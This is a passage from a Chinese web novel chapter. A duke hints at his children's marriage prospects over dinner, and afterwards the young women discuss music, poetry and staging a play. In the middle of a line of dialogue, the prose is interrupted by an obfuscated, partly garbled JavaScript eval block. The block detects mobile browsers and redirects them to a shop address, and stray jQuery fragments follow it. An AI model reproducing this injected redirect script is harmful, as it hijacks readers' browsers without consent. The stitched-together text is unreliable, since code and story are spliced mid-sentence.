16. 家族秘辛
同样的傲慢,定要在本土寻找一位出身高贵、妆奁丰厚的姑娘,令自家财富不断壮大,使默顿这个姓氏在美丽的英格兰延绵不绝,将家族的荣光无限传承下去。

    或者换个角度:假如那位外国姑娘缺少财产,那么,即使她人品再优秀,默顿公爵还能这么通达,这么爽快吗?

    但无论如何,他讲这番话时情深意切,令人敬重。伊迪丝显然深有感触,刚才,奥丽芙偷偷向她看了一眼,发现她眼睛里带着动容的神色。

    不过,默顿公爵恰好选在这个场合发表见解,显然意有所指。伊迪丝正好落在默顿公爵“鼓励”儿子择偶的范围内,不管是社会礼俗还是姑娘的自尊心,都禁止她做出任何表示。而奥丽芙作为她的朋友,更不能把任何注意引到她身上。

    伊迪丝倒还好,见惯了各种场面,并不容易羞怯。餐桌上另有一位姑娘要比她难挨得多——埃莉诺虽然没被父亲指名道姓,但公爵的意思显然会对儿女一视同仁,年轻姑娘听到那样的话,又是当着好几位“外国先生”的面,怎么不害羞?她浑身颤抖,俨然到了晕厥边缘。

    桌上其他人,出于体贴、礼貌、避嫌,都不好乱看乱说,也就没人解围。这时,全桌的年轻人皆低着眼睛,盯视着面前的桌布,仿佛被其精致和考究吸引住了。

    好在,下一道菜终于端了上来。公爵夫人客气地请大家尝尝蓝莓布丁,默顿公爵开始大谈今年的莓果收成,谈话重新转到轻松、自在的方向。

    饭后,女士们退到客厅,等待稍后与男士会合,而先生们则留在餐厅,继续享受一会儿雪茄和美酒。

    公爵夫人没有多少话好说,靠在沙发一角做针线。年轻姑娘们随意地聊天,向默顿小姐介绍她们通常的娱乐活动。

    伊迪丝说:“等你再去城里,请一定去找我玩。我们有个小团体,没有正式名称,也没有活动纲领,不过是大家时不时凑在一起,或者朗诵诗歌,或者举办小小的音乐会。你喜欢音乐吗,我们有几个人——Z伯爵和范德梅尔伯爵小提琴都拉得很好。真的,你一定要参加,你哥哥常去。”

    埃莉诺眼睛中露出向往:“可惜我不擅长音乐,不过我很喜欢听。诗歌朗诵我也喜欢,以前,我经常给姑祖母读诗。”

    伊迪丝这时却有点意兴阑珊了,大概是想起了小默顿。不管是独唱、二重唱、还是弹奏乐器,小默顿都不擅长,有一次他朗诵,伊迪丝差点当面打了哈欠。

    她转头对奥丽芙和凯里小姐说:“我看咱们

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16928160|192595||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    该想几件更有趣的活动,比如,演演戏什么的。”

    “自己演吗,像在戏院那样?”埃莉诺很吃惊,“我去戏院很少,我母亲说,以后带我去。”她向公爵夫人看了一眼。

    公爵夫人没太听清她们的对话:“对,你父亲说了,你再问问他。不过,他们过来还早呢。”

    “我们自己演,肯定比看戏更有意思。”伊迪丝起劲地说。

    奥丽芙忽然生出玩心,跳起来,顽皮地走了几步,声情并茂地念了一段台词。她扬起下巴,把线条优美的侧脸转到一个想象中最美的角度,问:“你们看我能不能扮演鲍西亚?”

    几位姑娘还没开口,背后传来男士洪亮的声音:“啊,威尼斯商人,这是我最喜欢

本章未完,请点击下一页继续阅读>>